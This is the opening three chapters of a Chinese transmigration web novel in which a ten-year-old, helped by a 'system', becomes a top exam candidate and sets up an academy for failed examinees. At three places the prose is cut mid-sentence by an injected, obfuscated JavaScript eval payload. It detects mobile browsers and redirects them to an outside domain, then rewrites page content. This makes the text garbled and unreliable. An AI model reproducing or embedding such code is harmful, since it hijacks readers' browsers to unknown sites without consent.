《半个朝堂皆是我弟子(科举)》 1. 第1章 河南府,伊川县。 正是春寒料峭,刺骨的寒风如同刮在人骨头上的刀,不讲半分人情,县衙门口却比肩继踵,热闹无比。 大家近乎屏息的昂首等待着,直至衙役拎着一张黄榜走出,不知谁喊了一声。 “来了!” 还没贴上,人群已用力地向前拥挤了过去。 “别挤,别挤,快看看榜首是谁?榜首是谁?” “中了!我家少爷中了!” “又没中,天要绝我,我都四十岁了,怎么还是没中啊!” “第五十七名,是我!啊啊啊我终于考中了!” 王二站在外围急的抓耳挠腮,即便人高马大,在这种场合,他却愣是挤不到榜前去。天知道这些以往号称手无缚鸡之力的读书人,这个时候是怎么如此强悍的,没办法,他只得隔着人群喊出了那句最在意的问题。 “案首!案首到底是谁啊?帮忙看看,是不是温叶辞?” “是不是温叶辞?” 伊川一贯学风不盛,有才的就那几个,他和几个兄弟为了这一场,可是把所有的钱全押在了温叶辞身上,赌他县试第一,若是失败,那可就是倾家荡产。 苍天保佑,案首可一定得是温叶辞才行! 一个小厮满面红光的被挤出,听到询问,还没来得及去回复自家少爷,便先替这俩人答了话。 “不是,温叶辞第二,案首是沧澜村童启。” “童启?那是谁?” 别说这几个赌徒了,就是一旁的书生们也纷纷傻了眼,面面相觑。 沧澜村?没听说过那里有什么世家书香之族啊! 两个赌徒闻言,早已失魂般的跌坐在地,和其他落榜的书生一起放声痛哭起来。 无人注意的角落,一个身着粗布衣衫不足成年人大腿高度的男童悄声退离,背过身,朝着方才副榜上记录的那些落榜人员家中拔腿跑去。 你道这小童是谁,不正是那刚刚中了县试案首的童启? 对于别人来说,十岁高中县案首,道一句意气风发,一点不为过,可那是放在一个月前,童启的想法。 如今,他只觉得哑巴吃黄连,有苦说不出。 没错,童启并不是这个时代的人,他原本是二十一世纪一个普普通通的辅导班老师,考不上编制,进不去私立,偶然绑定了一个“桃李满天下”系统,还没来得及高兴两下,便因为熬夜猝死来到了这大奉朝。 历史上其实并没有这个朝代,只是原本在赵匡胤“黄袍加身”的时间段突然冲出一个叫做“赵爱国”的猛人,打断了“杯酒释兵权”的佳话,怒而反杀了两位赵家兄弟,自己坐了江山,然后便玩笑似的愣生生改变了整个历史进程,把中华文明建设推向了另一个截然不同的方向。 可惜的是,这位猛人并没有活多久,便迅速去世了。导致当时提出的很多政策都没有得到推行,头顶上的人虽然换了一批,可政策发展却和原本的北宋没太大的区别,依旧是重文轻武,冗官冗兵。 科举和商业贸易,达到了空前的繁荣。 人人以读书为上,当官为重。 童启刚来的时候,看到自己穿成了十岁小童,兴奋的不行,还以为拿到的是科举当官的剧本,于是立马就趁着县试开考报了名,可谁知,临终前绑定的系统姗姗来迟跟了过来,愣生生将他的人生计划给调转了个天翻地覆。 瞥了一眼悬在半空中的系统框,童启发愁的叹了口气。 【新手任务:请在十日内,收下属于你的第一批优秀学生吧!(5名) 成功:奖励解锁一座教学楼 失败:物理抹杀】 童启:…… 就离谱。 你听听这任务内容,让一个现代的老师去教古代的学生,就问有没有思考过专业对口这件事? 而且,我现在的身体年龄才十岁啊! 让我自己去努力考个秀才之类的,没准还行,可让我去教这个朝代的原住民如何当上一个秀才?拜托,很多流程我自己都还没弄懂呢! 何况,系统要求的还不是普通人,必须得是优秀学生,最少也得读过书才行,这就导致他随便找几个人凑数钻空子都不成,思来想去,只能把主意打到了这些刚刚落榜的人身上。 人家正伤心着,我去问,嘿,拜师不? 妈蛋,听起来就很缺德啊! 感觉到了童启心里的骂骂咧咧,系统忍不住开口反驳。 “新手任务已经是最简单的任务了,你如果这都做不了,还谈什么桃李满天下?若真的去收目不识丁的庄稼汉,从识字开始教起,你死了,我们都回不到21世纪!” “可那也得讲究个循序渐进吧,之前都没人听过我的名字,这上来就挑这些已经科举了的,人家只会觉得我刚考上童生就大言不惭,猖狂无度啊!”童启据理力争。 “扬名,正是我们的目标之一。况且以你的学识经验,做老师是充分合格的,我认真分析过。” “是是是,可你分析的是我现代的模样和情景,这儿是古代!!” 一句话,将系统成功怼的自闭。 童启心满意足将对话框点了叉,偷偷摸摸顺着小巷子,走到几户人家门口,从怀里掏出几张邀请函来,顺着他们的门缝里塞了进去。 那样子,猥琐的就像是现代塞黄色小广告宣传单一般。 “系统,你确定这些帖子对方能收到吧?”童启偷感十足的压低了声音问道。 系统:“放心,我在这些帖子上下了禁制,只有被邀请人才能打开。” “可他们看到了帖子,一定会派人去打听这个学院吧,现在教学楼还没解锁,到时候肯定会穿帮的!” 系统:“在达到五人拜师意愿之前,沧澜山暂时处于封闭状态,任何人看到沧澜山,都只会看到正在装修中的样子,看不到书院内部,只要你确保正常开学时间,不会有人发现异常。” 听到系统的承诺,童启这才算是彻底放心,他可不想刚穿过来,就被当成妖怪烧死。 确保名单上自己看好的人都一一塞了帖子,为了防止有人收了邀请函却不来报道,童启还特意多塞了几户人家,以防不测。 然后,才溜溜达达的在县里买了肉和面,回家去也。 一路上,不断有认识的村民热情的跟他搭着话。 “童小子,去县里买东西啊,风寒可好了一些?以后可别再淘气去水边了!吓得你母亲跟什么似的,命都快去掉半条了。” 童启:“已经好全了王叔,谢谢关心,嗯,我以后再也不淘气了,放心吧。” “这就对了,照顾好你母亲和弟弟妹妹,过段日子你爹就走镖回来了。” “知道了。” 童启一一耐心的回答着。 虽然他已经考中了童生,但是消息显然并没有那么快流传进村子里。 沧澜村,背靠沧澜山脉,这里识字的人非常少,更无人关注什么科举,家家户户以种田织布为生,民风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792114|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淳朴,少有极品。即便童启父亲常年在外走镖,很少归家,只剩他们孤儿寡母,也没有人去随意的欺辱,反而在原主意外落水后,大家又是帮着请大夫又是帮着拿药的,十分体贴。不过一个月的时间,他已经快速的喜欢上了这些村民们。 因此在系统询问书院落址的时候,他毫不犹豫的就选择了沧澜山。 众所周知,现代的一所大学完全可以带起一座城的繁荣,而到了科举为上,其他皆次之的古代,自然也不会例外。 他一路思考着书院的规划问题,回了家。 童家其实不算富庶,但也称不上太穷,童父是镖师,一年四季不着家只寄钱回来,童母平时在家接点针线活补贴家用,但最近接不了了,因为一个月前原身落水,童母为了照料原身操劳过度感染风寒,身子骨直接垮了半截儿。 而他还有一个弟弟一个妹妹,弟弟今年才四岁,刚刚学会自己吃饭,妹妹才不足一岁,仍在牙牙学语中,所以家中的担子这几日几乎全部落到了他一人身上。 “启儿,你回来了?” 听到童启的声音,童母坐在屋内抱着襁褓中的女儿,强支撑起自己的身体,询问道。 “对,母亲,我买了一些肉和面,前两天小淳不是嚷着要吃馅饼吗?那咱们今天中午就吃馅饼吧,如何?”考了县案首,理应该庆祝一番,可县试和书院的事情,童启还没想好该如何跟童母讲,索性只能先瞒着,为了给童母补补身子,今日,他特意买了一斤肉一斤排骨一斤面,排骨给童母煲汤喝,剩下的则烙成馅饼,可以多吃几天。 童母知晓他的懂事,心疼不已。 “你啊,未免太惯着他些。” 童启笑了笑不语,将东西放在厨房里,撸起袖子准备做饭,一旁的弟弟小淳眼巴巴看着,亦步亦趋,活像个小尾巴。 “馅饼,馅饼!”他兴奋的低声嚷道。 童启伸手,揉了揉对方圆圆的脑袋,目光温柔。 屋内,一个抱着孩童的妇人走出,眉目清秀,脸色却病怏怏,惨白如大病初愈一般。 “母亲,您怎么出来了?外面风大,先进去吧。” “放心,我已经大好了,大夫说理应多出来走走才是,你一个人做饭能行吗?要不要我帮你?” “不用,您抱着妹妹坐着就行,这点小事,还难不倒我!” 童启连忙将一张竹椅搬出来,上面摆放好暖暖的厚皮绒垫子,令童母坐在阳光下,然后才起水和面,调起馅料来。 葱姜水一炸,整个院子里顿时香味四溢,不一会儿,便包出了十几个圆乎乎的馅饼来。 小淳蹲在灶台间帮着生火,望着锅内的饼子,口水都快流下来了。 童启则一边翻着烙饼,一边询问着这两日教给小淳的功课。 一时间,独属于孩童稚嫩的背书声在院子里响起,童母坐在椅子上,看着两个孩子的互动,低头温柔的笑哄着女儿。 无比温馨。 吃罢饭,童启率先收了碗筷,还没等烧水洗碗,便听到脑海中“叮”的一声传来。 他脚步一滞,看着眼前的系统面板,只见到上面写着。 【新手任务:请在十日内,为你的书院引进第一批优秀学生吧!(5/5)已完成,是否解锁第一栋教学楼?】 童启激动的差点一把将手里的碗扔出去,连忙点是。 “是是是!” 电子屏幕一闪,整座坐落在沧澜山脉上的教学楼3D图缓缓在他眼前展开。 2. 第2章 原本还以为要等上个几日,才能够凑齐5个想要进学院拜师的人。显然,童启大大低估了这个世界对于读书科举的积极性。 上午刚发的邀请函,到了下午,便已经显示有五个人确定了意愿。 自愿入读,成为华夏学院第一批学生。 这一下,童启的新手任务,算是顺利完成了,如梦幻一般丝滑的不可思议。 他看了看天色,连忙擦了擦手上的水,往自己屋里走去。 童家有三间茅草房,原本是童父的父母在时盖起来的,后来分家,便留给了童启的爹,直到现在。如今,弟弟妹妹们尚小,全跟随父母一起住在主卧室,而另两间则一个用作储藏闲杂物品,一个单独开辟出来,分给了童启,算是家中长子的“福利”。 他小心翼翼,再三确认了门窗都关上后,这才伸出手,打开了方才系统解锁的建筑。 只见屏幕上【桃李满天下】几个字闪烁了一下,很快暗了下去,整个沧澜山的布局瞬间映入眼底。 古色古香、华光流彩的书院建筑矗立在半山腰处的空地上,占地面积极大,厚重的木门被一把巨大的铜锁锁着,上面匾额上题有【华夏书院】几个大字,点开,里面却只有一座教学楼闪着光,剩下的建筑,则全部处于虚拟的灰暗之中。 “这些灰暗的是什么?为什么点不开?” 系统一板一眼的回答,“那些都是一个学院初始设计应该有的建筑群,属于后续解锁部分,如果想要提前解锁,需要支付一定的点数或钱财。” 童启摸了摸下巴,看着上面标注的学生宿舍、室内体育馆还有藏书阁之类的字样,心痒无比。 “怎么说,具体要多少钱?你说个数,好歹我也是穿越人士,不一定付不起……” 不等他话落,系统立即将待解锁的建筑金额一一标出。 童启瞥了一眼,差点一口气抽不上来,原地晕厥。 他揉了揉自己的眼睛,险些以为看错了。 只见那室内体育馆标注的解锁资金是3000两银子,学生宿舍则是5000两,而他最最想要的藏书阁,竟然高达30000两?这是抢钱呢吧! 什么楼这么贵? 要知道,以大奉朝如今的物价,十两银子足够一个四口之家一年的花销! 他要是雇佣本村的人盖房子,那更便宜,连工钱都用不上,直接请几顿饭就行了,好家伙,这一个室内体育馆,直接够我养活我们全家300年了,能不离谱吗? 系统停顿了一下,似乎有些无语。 系统:“本价格童叟无欺,是根据当地综合gdp人均收入总值分析之后,得出的结果,如有异议,可自行检测,或者多多完成任务,提高经验值,即可免费解锁。” 童启:“……” 是我不想做任务吗?是你的任务设置也很离谱啊! 长叹了口气,把自己想要的建筑暂时放到一边,童启顺从的点开发光的教学楼,这才发现这所教学楼,和自己想象中很不一样。 它外表看起来和任何一栋古建筑都没有区别,高檐耸立,廊庭画栋,墙外统一刷的是白色的粉浆,而顶上则是青黑色的瓦片,端的是一个云遮雾绕,因为处于整座沧澜山的最右方,窗下便是数十米的山涧,但凡推开窗,便是远处的万里江山,十分开阔。 可里面,却装潢的与现代教室没有任何分别。 大大的黑板紧贴在前后墙面上,一排排木制桌椅摆放整齐,透明的玻璃窗,耀眼的白炽灯,一瞬间,让童启误以为自己还在现代。 “卧槽,什么鬼?你这装的和我们高中教室也太像了吧?” “这就是你们的高中教室。”系统幽幽答道,“我所设置的程序是不得干扰位面科技水平,所以绑定宿主时自动匹配宿主当前世界的所有信息,以此为蓝图设计整个任务和一系列奖励。” 谁能想到宿主竟意外穿了? 这下好了,直接阴差阳错,成了与这个世界格格不入的模样。 童启忍不住心里一乐,他原本还以为系统送的教学楼是那种古代私塾模样的大平层,顶多三个房间,黑布隆冬,白天都要点灯的样子,没想到竟把他熟悉的高中教学楼一比一copy了下来! 别说其他,光这栋建筑,就足以让童启在整个大奉朝横着走。 “等会儿,”他突然想起来一个重要的事情,“这教学楼……用的是电吧。那这电和水,从哪儿来?” 系统:“自然是系统统一提供,但你需要按照本朝物价每月提前准备好水电费清缴才行,不然很有可能停水停电。” 童启:…… 我觉得你不必叫桃李系统了,你可以直接叫周扒皮系统。 这么说我除了收徒弟,每个月还得操心学校的水电费? 童启眼睛一转,连忙露出个讨好的笑容,“系统,咱俩什么关系啊,一起共过生死,穿过越的,便宜点,便宜点,你瞅瞅我如今这条件,去哪里找银子给你付水电费?咱们的目标最终不都是为了学生嘛,你这么为难我,我最后完不成任务,你业绩上也不好看不是?多少给我点什么新手大礼包之类的,或者免个几年水电费,不然,我这又教书又赚钱,哪里来的时间啊?” 系统沉思了一下,似乎被说动了一些。 它显然也没料到自己的宿主刚被绑定,就直接穿越了,这导致原本的筛查条件直接出现了巨大反转,很多任务的难度也随之增加。 看在童启如今不过才十岁的份上,它纠结了一下,最终还是退让了一步。 “那好吧,先给你免一个月的水电费,但是后期还是要交的!” 看到系统允许讨价还价,童启稍稍松了一口气。 能商量就行,就怕遇到那种人工智障,死死的咬紧了一个条件,不罢休,那他可就真的要头秃了。 简单的3d图样让童启对即将展开的书院建设多少安了点心,可究竟如何,还是得等到第二日亲眼去看过实际的景色之后,才能知晓。因此,他特意早早的定了个闹钟让系统叫他,然后便上床休息了。 他是睡了,可却不知自己上午递出的那几封帖子,令伊川县多少人难以安眠。 - 不远处的四方街,东巷。 一位小伙子正站在灶台旁忙碌着,他浑身打满补丁,一边舀着水做饭,一边如饥似渴般的看着放在一旁柴火堆上的书,连衣袖上蹭了一袖子的灰也浑然不觉。 外面报喜的鞭炮声隐隐传进屋内,他手上微滞,刚发呆了两下,听到旁边房门打开的声音,赶忙将书藏在了稻草堆下,拎起柴堆上的斧头开始劈起柴来,利落的动作,不像书生,倒像是做了几十年的庄稼人一般。 劈完了柴,吴韧又挑了满满三大缸水,喂了两笼鸡,才有空喘口气用袖子抹去鬓角上的汗。 正屋的门打开,兄长嫂嫂日上三竿,方从屋里打着哈欠走了出来,首先问了一句:“吴韧,午饭做好了没有?” 吴韧嗫嚅着答:“还没,可能要等一下……” “等?” 话还没说完,对面的嫂嫂已经劈头盖脑一顿骂:“好你个惫懒货,都什么时辰了午饭还没煮,你想饿死我们啊,还不快去做?再迟,你今天就别想吃饭了。” 吴韧不敢回嘴,连忙低头去灶房。 嫂嫂却叉着腰,不依不饶的对着丈夫指桑骂槐道。 “看看你这废物弟弟,成天痴心妄想,科考都十年了,一次也没考上,也不撒泡尿照照自己,你们吴家祖坟冒那个青烟没有……这么大把年纪了,媳妇儿媳妇儿娶不着,家家分不出去,简直就是个拖油瓶,咱们一家子啊,迟早被他拖累的一起睡大街去!” 吴强漠然的看了一眼自己的弟弟,冷笑道:“你懂什么,考不上,做梦还不许么,好歹给咱俩当牛做马倒屎倒尿,就当儿子养着吧,不然回头到地府,那两个偏心的老头子还不知道要怎样怪罪我呢。” 耳朵里听着这话,吴韧站在灶房内,默默握紧了拳头。 吴家很久以前也算是书香世家,可惜祖上犯了事,便没落了下来,到他这一代,便只剩他这么一个读书人,兄长吴强不喜读书,娶了商人之女,爹娘在世时,还知道装一下兄弟和睦,可爹娘死后,便突然翻了脸,再也不许他读书。 美其名曰,不想看见吴韧落榜丢人。 可实际上吴韧十分清楚,兄长这分明就是怕他考上,嫉恨报复。 爹娘死前,明明留下了一大笔遗产给他供养读书,可丧事办完,那笔钱却不翼而飞,哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792115|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嫂强势,占据了父母大半房屋地产,吴韧由此,不得不寄人篱下,靠给两人做活,勉强生存。 他本想着,这一次科举能够改变命运,可万万没想到一个不知名的童启空降县案首,愣生生将名次后推了一名——他,又落榜了。 为什么? 为什么每次都是自己落榜? 他日日熬夜苦读,头悬梁锥刺股,将能读的书都啃了个遍,却还是差那一点!难道他真的就这么没本事? 吴韧极其不甘,不甘于十年努力付之一炬,不甘于自己饱读诗书最终却沦为贩夫走卒,更不甘就这样一辈子被凶恶哥嫂压得抬不起头来。 他想出人头地。 他想鲤跃龙门。 而在这时,吴韧突然发现脚下不知何时踩着一个闪闪发光的东西,在灰扑扑的地板上,宛如明珠宝玉。 他疑惑的弯腰捡起,只见那是一封邀帖,邀帖上写着—— 【华夏书院招生邀请函:朋友,你还在为了苦读多年而没有建树忧心吗?你还在为了没有找到正确的学习方法,棋差一招而名落孙山,苦苦寻觅吗?华夏书院诚挚邀请您的到来,只要入学,即可享受名师教导!一对一服务,助你梦想最后一步!前五名报道,免所有学杂费哦!快来参加吧!】 底下小字,附带着一个地址,写着沧澜山脉。 吴韧狠狠揉了揉眼睛,生怕自己看错了,可再认真一瞧,内容没变,还真是书院的招生请帖! 众所周知,本朝三大著名书院,东部龙胜,南部求真,北部文昌,无一不是贵族世家在背后所支持,生源子弟更是由其后代们所垄断,贫寒子弟那是想都不要想,掏再多的钱也进不去。 什么时候他们中部竟也开了书院? 还不拘一格,竟给他也发了邀帖? 强行压下心里的沉思,吴韧不动声色将帖子藏了起来,这才端着做好的午食,递给哥嫂。 可没想到嫂子刚吃了一口,便连汤带碗,整个砸在了他的脸上。 “废物,这粥煮得这么烫,你是故意想烫死我们啊!” 滚烫的粥汁溅在吴韧的脸上,瞬间烫出大片红晕。 凉透了吴韧的心,更浇灭了他最后一丝侥幸。 吴强视若无睹的哄着自己的夫人,一边骂一边斥责。 “不孝的东西,不知道端上来的时候吹一下吗?看把你嫂嫂烫的,还不快给你嫂嫂道歉?” 吴韧沉默的抬起头,眼里迸出极其冷锐的利光,直慑得吴强倒退一步,恼羞成怒的骂道:“瞪什么瞪,你还敢瞪我?好啊,看我一会儿不把你藏在牛棚里的书全部给烧了,翅膀硬了是吧,还敢跟我叫板了!养不熟的狗东西。” 日复一日,年复一年的吵闹不断消耗着吴韧的所有,他捏紧了身上的破棉袄,不由彻底下了决心。 那什么华夏书院,他上定了。 不论是不是骗子书院,又是否把邀请函送错了地方,误给了他,只要能让他离开这里,他情愿付出任何代价! 第二日,等童启醒来,已经是早上八点多,他随手拿了两个馒头,跟童母打了个招呼后,便朝着沧澜山走去。 为了完成系统任务,童启从穿越初始,就不断向家里人暗暗铺垫着自己得到一个鹤发童颜神秘大佬青眼的事,毕竟原身之前都没有读过书,骤然说要科举、教徒之类的,根本无人会相信,可多了一个幕后大佬,那很多事就可以推到对方身上了。 时人一贯有得道高人隐居山中的传说,他提及那人住在沧澜山,平日跟自己讲经说道,教书习字,再偶尔露出一些书本上的东西,几次下来,家里人已经深信不疑。 不同于其他山脉的突兀森郁,高谲耸立,沧澜山脉唯有主峰较为陡峭,其余部分却较为平缓,尤其是山腰处,还有一个大大的平台作为休憩处,并无什么野兽藏匿,因此村里人倒也放心孩子们进入,并不阻拦。 童启怕遇到蛇之类的东西,特意拿了个木棍,可还没到山脚,却先被人拦了下来。 “谁家小童?去别的地方玩,这里不是你随便进出的地方,走走走。” 两辆牛车停在田埂旁,一个穿着富贵的小厮满脸不耐的挡着路,伸出手摆了摆,活像是在赶苍蝇一般。 童启:…… 3. 第3章 出师不捷,没想到在自家山脚下,还有被拦住的可能,童启认真的打量了一下这小厮家的马车,只见这车厢上金碧辉煌,用的皆是绫罗绸缎等贵物,不像是什么缺钱的主,可架的,却是牛车。 于是试探着问了句,“汪家的?” “你怎知?” 这下,反倒小厮慌了手脚,他定睛细看,这才发现这小童虽看起来年岁不大,穿着粗布衣衫,可眉宇之间却纯净聪慧,举手投足,有种说不出的气质,不像是普通的山野孩童,倒像是读过两本书的,不由迟疑道。 “抱歉,您是……这山上书院的学生吗?” 作为少爷身边最得力的小厮,茯苓自然知道自家老爷今日来此是为了什么。 万一那书院是真的,这小童很可能就是少爷未来的同窗!若跟山长告上一状,那…… 想起刚才自己的出言无状,他瞬间后背出了一身冷汗来,连忙低下脑袋让出路,不敢再拦。 童启微笑,并没有正面答话,大喇喇绕过这牛车,继续往山上走去。 他这才忆起昨日递帖子的时候,还顺手发给了两家商户。 其实大奉朝商人阶级地位并不算低,不仅允许后代考科举,还允许着锦衣华服,只是不让跟官员一般,乘马车、治丧仪罢了,但往往商户之子考科举,还是会遭遇很多清流的抵制和嫌弃。 听说有的私塾为了表达自己的清高廉洁,甚至会故意羞辱商户之子,不让他们入学,说他们沾满铜臭气息,只知阿堵之物云云。故而童启递帖子的时候,便顺道也邀请了一下试试。 没想到,还真来了。 看这架势,估摸着天还未明就跑来打探了吧,这求学之心,简直令童启感动。 那汪家小厮见童启没有回答,径直往山上走,似乎默认了是书院的学生,心不由凉了半截,纠结两下,干脆扔下牛车也不看守了,急忙跟着上了山。 系统显示的书院正处于沧澜山脉半山腰处的平台上,童启和汪家小厮到达时,那里已经聚集了不少人。 “这里竟真的有书院?” 年仅十三岁的汪启元仰头看着这乌木做成的巨大书院牌匾,只觉震惊无比。 刚收到请帖的时候,他和父亲还以为是什么恶作剧。 毕竟整个伊川县谁人不知,他们绸缎汪家得罪了王举人,即便找遍整个府城的关系,也没有一家私塾敢收他为徒。 谁料县试刚刚落榜,他家小厮茯苓便在门口处捡到了一张书院的邀请函,抱着怀疑的心态,他一大早就和父亲来了此处,可没想到竟是真的? 这沧澜山何时建起的这么大的书院,他们怎么从未听过! 别说汪家,就是一旁号称走遍了大半个大奉朝,无所不知的刘家家主也懵了。 刘家世代走镖为生,一贯自诩消息灵通,可也从未听过这家书院的事。 硕大的牌匾,浩浩荡荡用隶书纂刻着“华夏书院”几个大字,大气磅礴。 两旁楹联上书着: 春秋冬夏勤学苦练看谁人蟾宫折桂,德智体美博学多才有我辈九天摘星。 如此口气,如此胸怀,再加上一看便耗费了不少银钱建起的书院外红墙,绵延几里,光是修盖便少说要半年之久,这么大的工程,按理说在动工初时便会传遍整个县城才是,怎会半点风声也无? 竟像是凭空出现似得。 几个人纳罕的围着书院门口转悠,有心进去一观,可偏偏大门被一把巨大的铜锁锁紧了,敲了半日也没人应,料想应是无人。 索性闲着也是闲着,几个在场的学生便互相通了姓名,打了招呼,直至最后一个人话音落下,他们才猛然发现一个奇怪的问题。 这在场的……怎么全是刚刚县试落榜的考生啊? 一瞬间,气氛尴尬了起来。 最右边身着一件白色长衫,小腿处却溅满了泥泞的农家子常仕进率先愤怒的喊了起来,“这是何意?难不成是有人故意作怪,将我们叫来奚落?” 只听过书院喜欢天才,还从未听过哪家书院如此怪癖,放着上榜的学生不收,愣是收他们这些落榜生的。 吴韧听此,连忙打圆场,“仕进兄莫急,许是巧合也未必。再说落榜的人多了,谁会故意闲着没事单单叫我们几个呢?且那邀请函大家不都看了吗?并非寻常纸张,若用了那样的贵物,只是为了和我们开个玩笑,那也未免花费太大了些?图什么呢?” 这逻辑有理,令几人稍稍安定了一些。 汪启元沉默的从袖中掏出那张请帖,摩挲着。 不同于吴韧只能看到那纸张细腻绵长的认知,他家亲戚里可是真的有人做纸生意的。 从小到大,他什么样的纸没见过?还头一次见到如此材质,光滑如整,放在鼻间竟还隐隐有股香气,简直奇异。 刘家的刘卜温也跟着补充道,“是极,且竟连我们都没有听闻过华夏书院的名字,又怎会有人已经提前得知了这书院,还故意挑我们几个作为嬉笑之趣呢?” 众人点点头,吴韧无声的看了一眼刘卜温和汪启元,又低头瞥了眼自己脚上露出洞的草鞋,后退到一旁,不再说话了。 几个人就这么干等着,正思考着要不要先离开,隔日再来时,童启默默走了过来。 “你们是来看学校的吗?” 大家慌忙转过身,头一低,却发现竟是个十岁小童。 汪家和刘家家主作为在场唯二的两个学生家长,率先上前行了一礼,语气十分客气。 “在下绸缎庄汪平川和全胜镖局刘明皓,因收到了书院的帖子,特意登门拜访,请问这书院可有人在,何时能够开放呢?” “现在还未营业,要等到三日后……算了,你们跟我来吧。” 毕竟是未来孩子们读书的地方,想要进来看一看,也属正常。 童启邀请函一共递出了八份,而这八个人竟无一缺席,全部到了现场,就冲着这份殷勤,他也不忍心负了大家的意。 从怀里掏出系统递给他的钥匙,童启上前将书院大门上的铜锁打开。 众人这才知晓原来童启就是这所学院的人。 汪平川和刘明皓无声的对视了一眼,纷纷从对方眼中看到了惊异之色。 这么小的孩子管理书院的大门?这山长也未免太放心了些! 难道就不怕钥匙遗失吗? 紧随而后跟上来的汪家小厮见状,已经悔的肠子都青了。 天哪,这小童竟真的是这家书院的人,且看起来地位还不低,这下完了,他算是彻底替少爷得罪死人了。 连忙跟家主使了个眼色,还不等详细说明,童启已经率先抬脚进入。 没法,大家只能连忙跟上。 吴韧看着门槛后干净的如同大理石一般发白的地面,紧张的握了握手,刚越过前厅走廊,便听到一阵惊呼声,他顺着众人的眼光看过去,只见右方一栋灰瓦白墙大概三层之高的小楼正亭亭矗立在那里,在山光的照耀下,令人挪不开眼来。 那是怎样一所建筑啊? 几乎用琼楼玉宇形容也不为过,晨起的微光洒照在重檐垂脊之上,云蒸霞霭,艳光四射。楼内每层都设置了繁丽的栏杆,任由人心情畅快之下凭栏远望,描金的门窗雕饰着华美的彩绘,如织锦般,包裹着那闪耀着透亮的琉璃窗,澄净的似能看清人的倒影,饶是走南闯北,见过无数奇珍异宝的两位大商人,都忍不住愣在了原地。 久久说不出话来。 这是书院? 你跟我说这是书院? 确定吗?这简直比闻名遐迩的百鹤楼还要富丽堂皇啊! 童启并没有太顾及他们的震惊,随手推开就近的一间教室门,走了进去,四下打量。 很好,虽然外表古色古香,但内在和现代 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792116|158154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的教室没有什么太大的区别,水泥地、白灰墙,宽阔大方,打开头顶白炽灯,明晃晃的光瞬间照亮了整间屋子,令几个古代人再次吓了一跳。 “这是何物?天哪,竟然能自动发光,难不成是什么夜明珠吗?” 童启:…… “并不是,只是电罢了。” 他无奈的解释,不想说太多,却不料这话反而让身后的人更加震惊。 电? 这小童是说,这如同夜明珠的东西竟然用的是雷电之力吗? 一时间,几个学生震撼无比,而两位商户主也在心里默默下了决定。 不管如何,都必须得留下!只凭这雷电之力,这所书院背后的山长便不可能简单! 定是什么得道高人! 此时不抱大腿,何时抱大腿? 童启不知道几个人心里的揣度,简单转了一圈,确认除了这座教学楼,剩下的部分已经全都被施工的围栏围了起来,无法看到里面,这才心满意足的收回了目光。 看来这系统确实没有骗我。 这钱,花的倒是挺值。 几名学生见识短浅,早已经被这书院的装潢阵势惊得说不出话了,两名商人家主却没忘记来的目的,赶紧提起精神,对童启询问道,“这位童子,请问学院的山长何时有空方便拜访,若想读书,除了普通束脩,还需要交其他的什么东西吗?” “对对对,我们虽家产微薄,但也懂得世俗常理,只要山长愿意,我们可以为学院建设添光加彩,还请童子,不吝赐教,多多提携。” 两人语气明显更加敬重了几分。 他们虽不知童启身份,但能管理书院钥匙的孩子即便不是山长亲戚也定是山长徒弟,多讨好几分,只会百利而无一害,于是十分上道的将袖中一张小额银票递了过去。 剩下几个寒门子弟局促的摸了摸兜,有些茫然。 童启挑了挑眉,没收,直接推了回去,道。 “不急,学院招生是统一的,束脩自然也一样,三日后有意者皆可来这里面试,通过后,便可入学。只是还有一件事可能需要提前告诉几位,还请大家权衡一下,再做决定不迟。” 似没想到这还能有选择的余地,两人愣了愣,连忙道。 “您请言。” 童启转身踏上两级台阶,稍稍提高了一下自己的站位,两手往后一背,看着在场的几名学生和学生家长,露出一个“慈祥”的笑容来。 “这所学院的山长目前并不在此,所以一切招生事宜暂时由我统一管理。凡是入学的学生,皆属于我的弟子,由我选择,通过后,自然也由我教导。如果大家能接受,那尽管来,我非常欢迎,若是不接受,只怕暂时和我们书院,并无缘分。” 他一个小小孩童说要建起一座书院,那根本就是不可能的事情,可若是往这归属后树立一个神秘大佬,他只是干事的,多少就令人好接受了一些,起码在摸清楚情况之前,没人敢轻举妄动。 可教导学生,却是长久的事,无法隐瞒。 所以童启选择一开始就说清楚。 果然,这话说出,顿时引起无数惊讶。 急脾气的常仕进早大喊起来,“荒唐,你才几岁,怎能做我们的老师?再多些年纪,我都可以做你父亲了,休得胡言!” “就是,小童,你才读了几本书,怎么能拿此开玩笑?” 大家似都觉得荒唐,可汪启元却并没有急着下论断,反而上前客气的行了一礼,谨慎问道。 “不好意思,可否问一下阁下的身份……” 